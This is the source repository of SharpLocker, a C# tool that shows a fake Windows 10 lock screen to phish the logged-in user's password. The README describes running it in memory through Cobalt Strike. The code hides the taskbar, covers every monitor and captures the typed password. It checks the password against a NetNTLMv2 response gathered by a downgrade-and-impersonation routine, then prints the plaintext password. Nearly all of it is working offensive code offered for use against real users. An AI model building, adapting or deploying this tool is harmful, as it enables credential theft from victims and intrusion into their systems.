├── .gitattributes ├── .gitignore ├── README.md ├── SharpLocker.sln ├── SharpLocker ├── App.config ├── LockScreenForm.Designer.cs ├── LockScreenForm.Taskbar.cs ├── LockScreenForm.cs ├── LockScreenForm.resx ├── PasswordAudit │ ├── InternalMonoglogue │ │ ├── InternalMonologue.cs │ │ ├── InternalMonologueConsole.cs │ │ ├── InternalMonologueResponse.cs │ │ └── StringExtensions.cs │ └── NTLMV2Hasher │ │ ├── hash.cs │ │ ├── ntlm.cs │ │ └── utils.cs ├── Program.cs ├── Properties │ ├── AssemblyInfo.cs │ ├── Resources.Designer.cs │ ├── Resources.resx │ ├── Settings.Designer.cs │ └── Settings.settings ├── Resources │ ├── Untitled-1.jpg │ ├── arrow.png │ ├── button.jpg │ ├── button1.jpg │ ├── button1.png │ ├── thumb_14400082930User.png │ └── usericon.png └── SharpLocker.csproj └── sharplocker.png /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Build results 17 | [Dd]ebug/ 18 | [Dd]ebugPublic/ 19 | [Rr]elease/ 20 | [Rr]eleases/ 21 | x64/ 22 | x86/ 23 | [Aa][Rr][Mm]/ 24 | [Aa][Rr][Mm]64/ 25 | bld/ 26 | [Bb]in/ 27 | [Oo]bj/ 28 | [Ll]og/ 29 | 30 | # Visual Studio 2015/2017 cache/options directory 31 | .vs/ 32 | # Uncomment if you have tasks that create the project's static files in wwwroot 33 | #wwwroot/ 34 | 35 | # Visual Studio 2017 auto generated files 36 | Generated\ Files/ 37 | 38 | # MSTest test Results 39 | [Tt]est[Rr]esult*/ 40 | [Bb]uild[Ll]og.* 41 | 42 | # NUNIT 43 | *.VisualState.xml 44 | TestResult.xml 45 | 46 | # Build Results of an ATL Project 47 | [Dd]ebugPS/ 48 | [Rr]eleasePS/ 49 | dlldata.c 50 | 51 | # Benchmark Results 52 | BenchmarkDotNet.Artifacts/ 53 | 54 | # .NET Core 55 | project.lock.json 56 | project.fragment.lock.json 57 | artifacts/ 58 | 59 | # StyleCop 60 | StyleCopReport.xml 61 | 62 | # Files built by Visual Studio 63 | *_i.c 64 | *_p.c 65 | *_h.h 66 | *.ilk 67 | *.meta 68 | *.obj 69 | *.iobj 70 | *.pch 71 | *.pdb 72 | *.ipdb 73 | *.pgc 74 | *.pgd 75 | *.rsp 76 | *.sbr 77 | *.tlb 78 | *.tli 79 | *.tlh 80 | *.tmp 81 | *.tmp_proj 82 | *_wpftmp.csproj 83 | *.log 84 | *.vspscc 85 | *.vssscc 86 | .builds 87 | *.pidb 88 | *.svclog 89 | *.scc 90 | 91 | # Chutzpah Test files 92 | _Chutzpah* 93 | 94 | # Visual C++ cache files 95 | ipch/ 96 | *.aps 97 | *.ncb 98 | *.opendb 99 | *.opensdf 100 | *.sdf 101 | *.cachefile 102 | *.VC.db 103 | *.VC.VC.opendb 104 | 105 | # Visual Studio profiler 106 | *.psess 107 | *.vsp 108 | *.vspx 109 | *.sap 110 | 111 | # Visual Studio Trace Files 112 | *.e2e 113 | 114 | # TFS 2012 Local Workspace 115 | $tf/ 116 | 117 | # Guidance Automation Toolkit 118 | *.gpState 119 | 120 | # ReSharper is a .NET coding add-in 121 | _ReSharper*/ 122 | *.[Rr]e[Ss]harper 123 | *.DotSettings.user 124 | 125 | # JustCode is a .NET coding add-in 126 | .JustCode 127 | 128 | # TeamCity is a build add-in 129 | _TeamCity* 130 | 131 | # DotCover is a Code Coverage Tool 132 | *.dotCover 133 | 134 | # AxoCover is a Code Coverage Tool 135 | .axoCover/* 136 | !.axoCover/settings.json 137 | 138 | # Visual Studio code coverage results 139 | *.coverage 140 | *.coveragexml 141 | 142 | # NCrunch 143 | _NCrunch_* 144 | .*crunch*.local.xml 145 | nCrunchTemp_* 146 | 147 | # MightyMoose 148 | *.mm.* 149 | AutoTest.Net/ 150 | 151 | # Web workbench (sass) 152 | .sass-cache/ 153 | 154 | # Installshield output folder 155 | [Ee]xpress/ 156 | 157 | # DocProject is a documentation generator add-in 158 | DocProject/buildhelp/ 159 | DocProject/Help/*.HxT 160 | DocProject/Help/*.HxC 161 | DocProject/Help/*.hhc 162 | DocProject/Help/*.hhk 163 | DocProject/Help/*.hhp 164 | DocProject/Help/Html2 165 | DocProject/Help/html 166 | 167 | # Click-Once directory 168 | publish/ 169 | 170 | # Publish Web Output 171 | *.[Pp]ublish.xml 172 | *.azurePubxml 173 | # Note: Comment the next line if you want to checkin your web deploy settings, 174 | # but database connection strings (with potential passwords) will be unencrypted 175 | *.pubxml 176 | *.publishproj 177 | 178 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 179 | # checkin your Azure Web App publish settings, but sensitive information contained 180 | # in these scripts will be unencrypted 181 | PublishScripts/ 182 | 183 | # NuGet Packages 184 | *.nupkg 185 | # The packages folder can be ignored because of Package Restore 186 | **/[Pp]ackages/* 187 | # except build/, which is used as an MSBuild target. 188 | !**/[Pp]ackages/build/ 189 | # Uncomment if necessary however generally it will be regenerated when needed 190 | #!**/[Pp]ackages/repositories.config 191 | # NuGet v3's project.json files produces more ignorable files 192 | *.nuget.props 193 | *.nuget.targets 194 | 195 | # Microsoft Azure Build Output 196 | csx/ 197 | *.build.csdef 198 | 199 | # Microsoft Azure Emulator 200 | ecf/ 201 | rcf/ 202 | 203 | # Windows Store app package directories and files 204 | AppPackages/ 205 | BundleArtifacts/ 206 | Package.StoreAssociation.xml 207 | _pkginfo.txt 208 | *.appx 209 | 210 | # Visual Studio cache files 211 | # files ending in .cache can be ignored 212 | *.[Cc]ache 213 | # but keep track of directories ending in .cache 214 | !?*.[Cc]ache/ 215 | 216 | # Others 217 | ClientBin/ 218 | ~$* 219 | *~ 220 | *.dbmdl 221 | *.dbproj.schemaview 222 | *.jfm 223 | *.pfx 224 | *.publishsettings 225 | orleans.codegen.cs 226 | 227 | # Including strong name files can present a security risk 228 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 229 | #*.snk 230 | 231 | # Since there are multiple workflows, uncomment next line to ignore bower_components 232 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 233 | #bower_components/ 234 | 235 | # RIA/Silverlight projects 236 | Generated_Code/ 237 | 238 | # Backup & report files from converting an old project file 239 | # to a newer Visual Studio version. Backup files are not needed, 240 | # because we have git ;-) 241 | _UpgradeReport_Files/ 242 | Backup*/ 243 | UpgradeLog*.XML 244 | UpgradeLog*.htm 245 | ServiceFabricBackup/ 246 | *.rptproj.bak 247 | 248 | # SQL Server files 249 | *.mdf 250 | *.ldf 251 | *.ndf 252 | 253 | # Business Intelligence projects 254 | *.rdl.data 255 | *.bim.layout 256 | *.bim_*.settings 257 | *.rptproj.rsuser 258 | *- Backup*.rdl 259 | 260 | # Microsoft Fakes 261 | FakesAssemblies/ 262 | 263 | # GhostDoc plugin setting file 264 | *.GhostDoc.xml 265 | 266 | # Node.js Tools for Visual Studio 267 | .ntvs_analysis.dat 268 | node_modules/ 269 | 270 | # Visual Studio 6 build log 271 | *.plg 272 | 273 | # Visual Studio 6 workspace options file 274 | *.opt 275 | 276 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 277 | *.vbw 278 | 279 | # Visual Studio LightSwitch build output 280 | **/*.HTMLClient/GeneratedArtifacts 281 | **/*.DesktopClient/GeneratedArtifacts 282 | **/*.DesktopClient/ModelManifest.xml 283 | **/*.Server/GeneratedArtifacts 284 | **/*.Server/ModelManifest.xml 285 | _Pvt_Extensions 286 | 287 | # Paket dependency manager 288 | .paket/paket.exe 289 | paket-files/ 290 | 291 | # FAKE - F# Make 292 | .fake/ 293 | 294 | # JetBrains Rider 295 | .idea/ 296 | *.sln.iml 297 | 298 | # CodeRush personal settings 299 | .cr/personal 300 | 301 | # Python Tools for Visual Studio (PTVS) 302 | __pycache__/ 303 | *.pyc 304 | 305 | # Cake - Uncomment if you are using it 306 | # tools/** 307 | # !tools/packages.config 308 | 309 | # Tabs Studio 310 | *.tss 311 | 312 | # Telerik's JustMock configuration file 313 | *.jmconfig 314 | 315 | # BizTalk build output 316 | *.btp.cs 317 | *.btm.cs 318 | *.odx.cs 319 | *.xsd.cs 320 | 321 | # OpenCover UI analysis results 322 | OpenCover/ 323 | 324 | # Azure Stream Analytics local run output 325 | ASALocalRun/ 326 | 327 | # MSBuild Binary and Structured Log 328 | *.binlog 329 | 330 | # NVidia Nsight GPU debugger configuration file 331 | *.nvuser 332 | 333 | # MFractors (Xamarin productivity tool) working folder 334 | .mfractor/ 335 | 336 | # Local History for Visual Studio 337 | .localhistory/ 338 | 339 | # BeatPulse healthcheck temp database 340 | healthchecksdb -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SharpLocker 2 | 3 | SharpLocker helps get current user credentials by popping a fake Windows lock screen, all output is sent to Console which works perfect for Cobalt Strike. It is written in C# to allow for direct execution via memory injection using techniques such as execute-assembly found in Cobalt Strike or others, this method prevents the executable from ever touching disk. It is NOT intended to be compilled and run locally on a device. 4 | 5 | ## What SharpLocker is 6 | * A .NET application that is supposed to be run in memory on a target device 7 | 8 | ## What SharpLocker is NOT 9 | * A password stealing tool that emails plain text credentials 10 | * An executable that is supposed to be double clicked 11 | 12 | ## Works 13 | * Single/Multiple Monitors 14 | * Windows 10 15 | * Main monitor needs to be 1080p otherwise the location of the elements are wrong 16 | 17 | ![Working SharpLocker](https://github.com/Pickfordmatt/SharpLocker/blob/master/sharplocker.png?raw=true) 18 | 19 | ## How to 20 | * Compile SharpLocker from source via VisualStudio etc 21 | * Within a Cobalt Strike implant run execute-assembly C:/{location of exe} 22 | * Pray and wait for creds 23 | 24 | ## Credits 25 | - NetNTLMv2PasswordChecker [opdsealey](https://github.com/opdsealey/NetNTLMv2PasswordChecker) -------------------------------------------------------------------------------- /SharpLocker.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.28803.352 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpLocker", "SharpLocker\SharpLocker.csproj", "{A6F8500F-68BC-4EFC-962A-6C6E68D893AF}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {A6F8500F-68BC-4EFC-962A-6C6E68D893AF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {A6F8500F-68BC-4EFC-962A-6C6E68D893AF}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {A6F8500F-68BC-4EFC-962A-6C6E68D893AF}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {A6F8500F-68BC-4EFC-962A-6C6E68D893AF}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {0E6A32D5-7178-4A2D-A3C1-17C574CEA03C} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /SharpLocker/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /SharpLocker/LockScreenForm.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace SharpLocker 2 | { 3 | partial class LockScreenForm 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | this.UserNameLabel = new System.Windows.Forms.Label(); 32 | this.PasswordTextBox = new System.Windows.Forms.TextBox(); 33 | this.LockedLabel = new System.Windows.Forms.Label(); 34 | this.ProfileIcon = new System.Windows.Forms.PictureBox(); 35 | this.SubmitPasswordButton = new System.Windows.Forms.Button(); 36 | ((System.ComponentModel.ISupportInitialize)(this.ProfileIcon)).BeginInit(); 37 | this.SuspendLayout(); 38 | // 39 | // UserNameLabel 40 | // 41 | this.UserNameLabel.Anchor = System.Windows.Forms.AnchorStyles.None; 42 | this.UserNameLabel.AutoSize = true; 43 | this.UserNameLabel.Font = new System.Drawing.Font("Segoe UI", 33F); 44 | this.UserNameLabel.ForeColor = System.Drawing.Color.White; 45 | this.UserNameLabel.Location = new System.Drawing.Point(246, 217); 46 | this.UserNameLabel.MinimumSize = new System.Drawing.Size(403, 0); 47 | this.UserNameLabel.Name = "UserNameLabel"; 48 | this.UserNameLabel.Size = new System.Drawing.Size(403, 60); 49 | this.UserNameLabel.TabIndex = 4; 50 | this.UserNameLabel.Text = "label2"; 51 | this.UserNameLabel.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; 52 | // 53 | // PasswordTextBox 54 | // 55 | this.PasswordTextBox.Anchor = System.Windows.Forms.AnchorStyles.None; 56 | this.PasswordTextBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 20.25F); 57 | this.PasswordTextBox.ForeColor = System.Drawing.SystemColors.WindowFrame; 58 | this.PasswordTextBox.Location = new System.Drawing.Point(244, 324); 59 | this.PasswordTextBox.Name = "PasswordTextBox"; 60 | this.PasswordTextBox.Size = new System.Drawing.Size(364, 38); 61 | this.PasswordTextBox.TabIndex = 6; 62 | this.PasswordTextBox.TextChanged += new System.EventHandler(this.PasswordTextBox_TextChanged); 63 | // 64 | // LockedLabel 65 | // 66 | this.LockedLabel.Anchor = System.Windows.Forms.AnchorStyles.None; 67 | this.LockedLabel.AutoSize = true; 68 | this.LockedLabel.BackColor = System.Drawing.Color.Transparent; 69 | this.LockedLabel.Font = new System.Drawing.Font("Segoe UI", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); 70 | this.LockedLabel.ForeColor = System.Drawing.Color.White; 71 | this.LockedLabel.Location = new System.Drawing.Point(412, 277); 72 | this.LockedLabel.Name = "LockedLabel"; 73 | this.LockedLabel.Size = new System.Drawing.Size(71, 25); 74 | this.LockedLabel.TabIndex = 8; 75 | this.LockedLabel.Text = "Locked"; 76 | // 77 | // ProfileIcon 78 | // 79 | this.ProfileIcon.Anchor = System.Windows.Forms.AnchorStyles.None; 80 | this.ProfileIcon.BackColor = System.Drawing.Color.Transparent; 81 | this.ProfileIcon.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; 82 | this.ProfileIcon.Image = global::SharpLocker.Properties.Resources.thumb_14400082930User; 83 | this.ProfileIcon.Location = new System.Drawing.Point(345, 31); 84 | this.ProfileIcon.Name = "ProfileIcon"; 85 | this.ProfileIcon.Size = new System.Drawing.Size(199, 199); 86 | this.ProfileIcon.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; 87 | this.ProfileIcon.TabIndex = 1; 88 | this.ProfileIcon.TabStop = false; 89 | // 90 | // SubmitPasswordButton 91 | // 92 | this.SubmitPasswordButton.Anchor = System.Windows.Forms.AnchorStyles.None; 93 | this.SubmitPasswordButton.AutoSize = true; 94 | this.SubmitPasswordButton.BackColor = System.Drawing.Color.Transparent; 95 | this.SubmitPasswordButton.BackgroundImage = global::SharpLocker.Properties.Resources.arrow; 96 | this.SubmitPasswordButton.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; 97 | this.SubmitPasswordButton.Location = new System.Drawing.Point(597, 324); 98 | this.SubmitPasswordButton.Name = "SubmitPasswordButton"; 99 | this.SubmitPasswordButton.Size = new System.Drawing.Size(45, 38); 100 | this.SubmitPasswordButton.TabIndex = 9; 101 | this.SubmitPasswordButton.UseVisualStyleBackColor = false; 102 | this.SubmitPasswordButton.Click += new System.EventHandler(this.SubmitPasswordButton_Click); 103 | // 104 | // LockScreenForm 105 | // 106 | this.AcceptButton = this.SubmitPasswordButton; 107 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 108 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 109 | this.ClientSize = new System.Drawing.Size(800, 450); 110 | this.Controls.Add(this.SubmitPasswordButton); 111 | this.Controls.Add(this.LockedLabel); 112 | this.Controls.Add(this.PasswordTextBox); 113 | this.Controls.Add(this.UserNameLabel); 114 | this.Controls.Add(this.ProfileIcon); 115 | this.Name = "LockScreenForm"; 116 | this.Text = "LockScreenForm"; 117 | this.Load += new System.EventHandler(this.LockScreenForm_Load); 118 | ((System.ComponentModel.ISupportInitialize)(this.ProfileIcon)).EndInit(); 119 | this.ResumeLayout(false); 120 | this.PerformLayout(); 121 | 122 | } 123 | 124 | #endregion 125 | private System.Windows.Forms.PictureBox ProfileIcon; 126 | private System.Windows.Forms.Label UserNameLabel; 127 | private System.Windows.Forms.TextBox PasswordTextBox; 128 | private System.Windows.Forms.Label LockedLabel; 129 | private System.Windows.Forms.Button SubmitPasswordButton; 130 | } 131 | } 132 | 133 | -------------------------------------------------------------------------------- /SharpLocker/LockScreenForm.Taskbar.cs: -------------------------------------------------------------------------------- 1 | using System.Runtime.InteropServices; 2 | 3 | namespace SharpLocker 4 | { 5 | public partial class LockScreenForm 6 | { 7 | public class Taskbar 8 | { 9 | [DllImport("user32.dll")] 10 | private static extern int FindWindow(string className, string windowText); 11 | 12 | [DllImport("user32.dll")] 13 | private static extern int ShowWindow(int hwnd, int command); 14 | 15 | [DllImport("user32.dll")] 16 | public static extern int FindWindowEx(int parentHandle, int childAfter, string className, int windowTitle); 17 | 18 | [DllImport("user32.dll")] 19 | private static extern int GetDesktopWindow(); 20 | 21 | private const int SW_HIDE = 0; 22 | private const int SW_SHOW = 1; 23 | 24 | protected static int Handle 25 | { 26 | get 27 | { 28 | return FindWindow("Shell_TrayWnd", ""); 29 | } 30 | } 31 | 32 | protected static int HandleOfStartButton 33 | { 34 | get 35 | { 36 | int handleOfDesktop = GetDesktopWindow(); 37 | int handleOfStartButton = FindWindowEx(handleOfDesktop, 0, "button", 0); 38 | return handleOfStartButton; 39 | } 40 | } 41 | 42 | private Taskbar() 43 | { 44 | } 45 | 46 | public static void Show() 47 | { 48 | ShowWindow(Handle, SW_SHOW); 49 | ShowWindow(HandleOfStartButton, SW_SHOW); 50 | } 51 | 52 | public static void Hide() 53 | { 54 | ShowWindow(Handle, SW_HIDE); 55 | ShowWindow(HandleOfStartButton, SW_HIDE); 56 | } 57 | } 58 | } 59 | } 60 | -------------------------------------------------------------------------------- /SharpLocker/LockScreenForm.cs: -------------------------------------------------------------------------------- 1 | using InternalMonologue; 2 | using NetNTLMv2Checker; 3 | using System; 4 | using System.ComponentModel; 5 | using System.Diagnostics; 6 | using System.Drawing; 7 | using System.Linq; 8 | using System.Threading; 9 | using System.Windows.Forms; 10 | 11 | namespace SharpLocker 12 | { 13 | public partial class LockScreenForm : Form 14 | { 15 | private static string welcome = @" 16 | 17 | $$$$$$\ $$\ $$\ $$\ 18 | $$ __$$\ $$ | $$ | $$ | 19 | $$ / \__|$$$$$$$\ $$$$$$\ $$$$$$\ $$$$$$\ $$ | $$$$$$\ $$$$$$$\ $$ | $$\ $$$$$$\ $$$$$$\ 20 | \$$$$$$\ $$ __$$\ \____$$\ $$ __$$\ $$ __$$\ $$ | $$ __$$\ $$ _____|$$ | $$ |$$ __$$\ $$ __$$\ 21 | \____$$\ $$ | $$ | $$$$$$$ |$$ | \__|$$ / $$ |$$ | $$ / $$ |$$ / $$$$$$ / $$$$$$$$ |$$ | \__| 22 | $$\ $$ |$$ | $$ |$$ __$$ |$$ | $$ | $$ |$$ | $$ | $$ |$$ | $$ _$$< $$ ____|$$ | 23 | \$$$$$$ |$$ | $$ |\$$$$$$$ |$$ | $$$$$$$ |$$$$$$$$\\$$$$$$ |\$$$$$$$\ $$ | \$$\ \$$$$$$$\ $$ | 24 | \______/ \__| \__| \_______|\__| $$ ____/ \________|\______/ \_______|\__| \__| \_______|\__| 25 | $$ | 26 | $$ | 27 | \__| 28 | 29 | "; 30 | 31 | public LockScreenForm() 32 | { 33 | InitializeComponent(); 34 | Taskbar.Hide(); 35 | Console.WriteLine(welcome); 36 | FormBorderStyle = FormBorderStyle.None; 37 | WindowState = FormWindowState.Normal; 38 | StartPosition = FormStartPosition.Manual; 39 | Location = new Point(0, 0); 40 | Size = new Size(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height); 41 | 42 | 43 | Image myimage = new Bitmap(@"C:\Windows\Web\Wallpaper\Windows\img0.jpg"); 44 | BackgroundImage = myimage; 45 | BackgroundImageLayout = ImageLayout.Stretch; 46 | TopMost = true; 47 | 48 | string userName = Environment.UserName; 49 | UserNameLabel.Text = userName; 50 | UserNameLabel.BackColor = Color.Transparent; 51 | 52 | int usernameloch = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 64; 53 | int usericonh = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 29; 54 | int buttonh = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 64; 55 | int usernameh = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 50; 56 | int locked = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 57; 57 | 58 | PasswordTextBox.Top = usernameloch; 59 | PasswordTextBox.UseSystemPasswordChar = true; 60 | ProfileIcon.Top = usericonh; 61 | SubmitPasswordButton.Top = buttonh; 62 | UserNameLabel.Top = usernameh; 63 | LockedLabel.Top = locked; 64 | 65 | foreach (var screen in Screen.AllScreens) 66 | { 67 | Thread thread = new Thread(() => WorkThreadFunction(screen)); 68 | thread.Start(); 69 | } 70 | } 71 | 72 | public void WorkThreadFunction(Screen screen) 73 | { 74 | try 75 | { 76 | if (screen.Primary == false) 77 | { 78 | int mostLeft = screen.WorkingArea.Left; 79 | int mostTop = screen.WorkingArea.Top; 80 | Debug.WriteLine(mostLeft.ToString(), mostTop.ToString()); 81 | using (Form form = new Form()) 82 | { 83 | form.WindowState = FormWindowState.Normal; 84 | form.StartPosition = FormStartPosition.Manual; 85 | form.Location = new Point(mostLeft, mostTop); 86 | form.FormBorderStyle = FormBorderStyle.None; 87 | form.Size = new Size(screen.Bounds.Width, screen.Bounds.Height); 88 | form.BackColor = Color.Black; 89 | form.ShowDialog(); 90 | } 91 | } 92 | } 93 | catch (Exception ex) 94 | { 95 | // log errors 96 | } 97 | } 98 | 99 | protected override CreateParams CreateParams 100 | { 101 | get 102 | { 103 | var parms = base.CreateParams; 104 | parms.Style &= ~0x02000000; // Turn off WS_CLIPCHILDREN 105 | parms.ExStyle |= 0x02000000; 106 | return parms; 107 | } 108 | } 109 | 110 | protected override void OnClosing(CancelEventArgs e) 111 | { 112 | Taskbar.Show(); 113 | base.OnClosing(e); 114 | } 115 | 116 | private void PasswordTextBox_TextChanged(object sender, EventArgs e) 117 | { 118 | 119 | } 120 | 121 | private void SubmitPasswordButton_Click(object sender, EventArgs e) 122 | { 123 | string plainpassword = PasswordTextBox.Text; 124 | startmonologue(plainpassword); 125 | Taskbar.Show(); 126 | Application.Exit(); 127 | 128 | } 129 | 130 | private void LockScreenForm_Load(object sender, EventArgs e) 131 | { 132 | 133 | } 134 | 135 | static int tableWidth = 73; 136 | 137 | static void PrintLine() 138 | { 139 | Console.WriteLine(new string('-', tableWidth)); 140 | } 141 | 142 | static void PrintRow(params string[] columns) 143 | { 144 | int width = (tableWidth - columns.Length) / columns.Length; 145 | string row = "|"; 146 | 147 | foreach (string column in columns) 148 | { 149 | row += AlignCentre(column, width) + "|"; 150 | } 151 | 152 | Console.WriteLine(row); 153 | } 154 | 155 | static string AlignCentre(string text, int width) 156 | { 157 | text = text.Length > width ? text.Substring(0, width - 3) + "..." : text; 158 | 159 | if (string.IsNullOrEmpty(text)) 160 | { 161 | return new string(' ', width); 162 | } 163 | else 164 | { 165 | return text.PadRight(width - (width - text.Length) / 2).PadLeft(width); 166 | } 167 | } 168 | 169 | public string startmonologue(string plainpassword) 170 | { 171 | bool impersonate = true, threads = false, downgrade = true, restore = true, verbose = false; 172 | string challenge = "1122334455667788"; 173 | var monologue = new InternalMonologue(impersonate, threads, downgrade, restore, challenge, verbose); 174 | Console.WriteLine("[x] Collecting information..."); 175 | 176 | var monologueConsole = monologue.Go(); 177 | var netntlmv2 = monologueConsole.Output(); 178 | string netntlmv2str = netntlmv2.ToString(); 179 | 180 | string netNTLMv2Response = netntlmv2.Replace("\n", String.Empty); ; 181 | IMChecker checker = new IMChecker(netNTLMv2Response); 182 | 183 | if (checker.checkPassword(plainpassword)) 184 | { 185 | Console.WriteLine("[x] Success: Password Acquired"); 186 | Console.WriteLine(""); 187 | PrintLine(); 188 | PrintRow("Account", "Domain", "Password"); 189 | PrintLine(); 190 | PrintRow("Matt", "BANKABC", plainpassword); 191 | PrintLine(); 192 | } 193 | else 194 | { 195 | Console.WriteLine("[x] Incorrect password input by user"); 196 | Console.WriteLine("Exiting.."); 197 | } 198 | 199 | return netntlmv2; 200 | } 201 | } 202 | /* Adapted from https://github.com/opdsealey/NetNTLMv2PasswordChecker/blob/master/NetNTLMv2Checker/Program.cs */ 203 | public class IMChecker 204 | { 205 | /* Designed to allow for checking a password locally against the output from Internal Monologue (netNTLMv2 Response) */ 206 | public IMChecker(string netNTLMv2Response) 207 | { 208 | originalMessage = netNTLMv2Response; 209 | parseOriginal(); 210 | } 211 | 212 | 213 | 214 | private void parseOriginal() 215 | { 216 | String[] separators = { ":" }; 217 | String[] strlist = originalMessage.Split(separators, 5, StringSplitOptions.RemoveEmptyEntries); 218 | 219 | username = strlist[0]; 220 | target = strlist[1]; 221 | serverChallenge = utils.StringToByteArray(strlist[2]); 222 | netNtlmv2ResponseOriginal = utils.StringToByteArray(strlist[3]); 223 | blob = utils.StringToByteArray(strlist[4]); 224 | 225 | } 226 | 227 | public bool checkPassword(string password) 228 | { 229 | byte[] ntlmv2ResponseHash = new byte[16]; 230 | ntlmv2ResponseHash = ntlm.getNTLMv2Response(target, username, password, serverChallenge, blob); 231 | //Console.WriteLine("Response Hash: " + utils.ByteArrayToString(ntlmv2ResponseHash)); 232 | //Console.WriteLine("Original Hash: " + utils.ByteArrayToString(netNtlmv2ResponseOriginal)); 233 | return ntlmv2ResponseHash.SequenceEqual(netNtlmv2ResponseOriginal); 234 | } 235 | 236 | public string originalMessage { get; set; } 237 | private string username { get; set; } 238 | private string target { get; set; } 239 | private byte[] serverChallenge { get; set; } 240 | 241 | private byte[] blob { get; set; } 242 | private byte[] netNtlmv2ResponseOriginal { get; set; } 243 | } 244 | } 245 | -------------------------------------------------------------------------------- /SharpLocker/LockScreenForm.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 